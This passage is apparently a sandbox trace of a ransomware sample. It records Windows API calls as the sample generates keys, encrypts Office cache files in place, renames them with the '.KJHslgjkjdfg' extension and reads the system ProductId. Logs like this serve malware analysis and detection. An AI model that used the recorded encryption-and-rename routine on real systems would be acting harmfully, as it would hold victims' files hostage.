Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0135.457] GetProcessHeap () returned 0x2a0000 [0135.457] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0135.457] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0135.457] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0135.457] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0x9, lpOverlapped=0x0) returned 1 [0135.460] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0135.460] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0135.460] GetProcessHeap () returned 0x2a0000 [0135.460] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0135.460] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0135.460] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.460] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0135.460] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0135.460] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0135.460] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0135.461] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0135.461] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0135.461] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0135.461] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0135.461] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.461] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x567, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x567, lpOverlapped=0x0) returned 1 [0135.461] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x570, dwBufLen=0x570 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x570) returned 1 [0135.461] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.461] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x570, lpOverlapped=0x0) returned 1 [0135.461] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.461] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x644, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.461] SetEndOfFile (hFile=0x124) returned 1 [0135.464] GetProcessHeap () returned 0x2a0000 [0135.464] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0135.464] GetProcessHeap () returned 0x2a0000 [0135.464] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0135.464] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.kjhslgjkjdfg")) returned 1 [0135.470] CloseHandle (hObject=0x124) returned 1 [0135.470] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc301560, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2cb13b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OWOW32LR.cab", cAlternateFileName="")) returned 1 [0135.470] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0135.470] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x290f508 | out: lpFileSize=0x290f508*=2928955) returned 1 [0135.470] GetProcessHeap () returned 0x2a0000 [0135.470] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0135.470] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0135.470] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.471] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f4*=0x5, lpOverlapped=0x0) returned 1 [0135.473] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0135.473] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0135.474] GetProcessHeap () returned 0x2a0000 [0135.474] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0135.474] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40) returned 1 [0135.474] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.474] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f4*=0x40, lpOverlapped=0x0) returned 1 [0135.474] WriteFile (in: hFile=0x124, lpBuffer=0x290f4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f4fc*, lpNumberOfBytesWritten=0x290f4f4*=0x4, lpOverlapped=0x0) returned 1 [0135.474] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f4*=0x10, lpOverlapped=0x0) returned 1 [0135.474] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f4*=0x80, lpOverlapped=0x0) returned 1 [0135.474] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0135.474] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f4*=0x8, lpOverlapped=0x0) returned 1 [0135.474] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0135.474] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0135.474] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0135.474] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0135.478] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0135.486] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.486] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0135.487] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2cb214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.487] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0135.487] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xee5be, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0135.487] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0135.523] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0135.527] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xee5be, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.527] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0135.530] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2cb214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.530] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0135.530] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x28b140, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0135.530] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0135.533] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0135.536] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x28b140, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.536] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0135.537] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2cb214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.537] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0135.538] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.538] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2cb214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.538] SetEndOfFile (hFile=0x124) returned 1 [0135.541] GetProcessHeap () returned 0x2a0000 [0135.541] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0135.541] GetProcessHeap () returned 0x2a0000 [0135.541] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0135.541] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.kjhslgjkjdfg")) returned 1 [0135.541] CloseHandle (hObject=0x124) returned 1 [0135.542] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0135.542] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0135.542] GetProcessHeap () returned 0x2a0000 [0135.542] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0135.542] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0135.542] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0135.542] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0x6, lpOverlapped=0x0) returned 1 [0135.544] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0135.544] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0135.544] GetProcessHeap () returned 0x2a0000 [0135.544] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0135.544] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30) returned 1 [0135.545] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.545] WriteFile (in: hFile=0x124, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f4f8*=0x30, lpOverlapped=0x0) returned 1 [0135.545] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0135.545] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0135.545] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0135.545] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0135.545] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0135.545] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0135.545] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0135.545] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.545] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x93a, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x93a, lpOverlapped=0x0) returned 1 [0135.545] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x940, dwBufLen=0x940 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x940) returned 1 [0135.545] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.546] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x940, lpOverlapped=0x0) returned 1 [0135.546] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.546] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.546] SetEndOfFile (hFile=0x124) returned 1 [0135.548] GetProcessHeap () returned 0x2a0000 [0135.548] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0135.548] GetProcessHeap () returned 0x2a0000 [0135.548] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0135.549] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.kjhslgjkjdfg")) returned 1 [0135.549] CloseHandle (hObject=0x124) returned 1 [0135.549] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0135.549] GetProcessHeap () returned 0x2a0000 [0135.549] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0135.550] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0135.550] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290f330 | out: pbData=0x2bf570, pdwDataLen=0x290f330) returned 1 [0135.550] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.550] GetProcessHeap () returned 0x2a0000 [0135.550] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0135.550] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0135.550] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290f330 | out: pbData=0x2bf5b8, pdwDataLen=0x290f330) returned 1 [0135.550] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.550] GetProcessHeap () returned 0x2a0000 [0135.550] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f22c8 [0135.550] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0135.550] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f22c8, pdwDataLen=0x290f330 | out: pbData=0x2f22c8, pdwDataLen=0x290f330) returned 1 [0135.550] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.550] GetProcessHeap () returned 0x2a0000 [0135.550] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0135.550] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0135.550] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ef10 | out: pbData=0x2bf528, pdwDataLen=0x290ef10) returned 1 [0135.550] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.550] GetProcessHeap () returned 0x2a0000 [0135.550] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1668 [0135.550] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0135.550] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1668, pdwDataLen=0x290ef10 | out: pbData=0x2c1668, pdwDataLen=0x290ef10) returned 1 [0135.550] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.551] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290ef0c | out: phkResult=0x290ef0c*=0x124) returned 0x0 [0135.551] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ef18, lpcbData=0x290ef14*=0x400 | out: lpType=0x0, lpData=0x290ef18*=0x30, lpcbData=0x290ef14*=0x18) returned 0x0 [0135.551] RegCloseKey (hKey=0x124) returned 0x0 [0135.551] GetProcessHeap () returned 0x2a0000 [0135.551] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0135.551] GetProcessHeap () returned 0x2a0000 [0135.551] HeapFree (in: hHeap=0x2a0000, 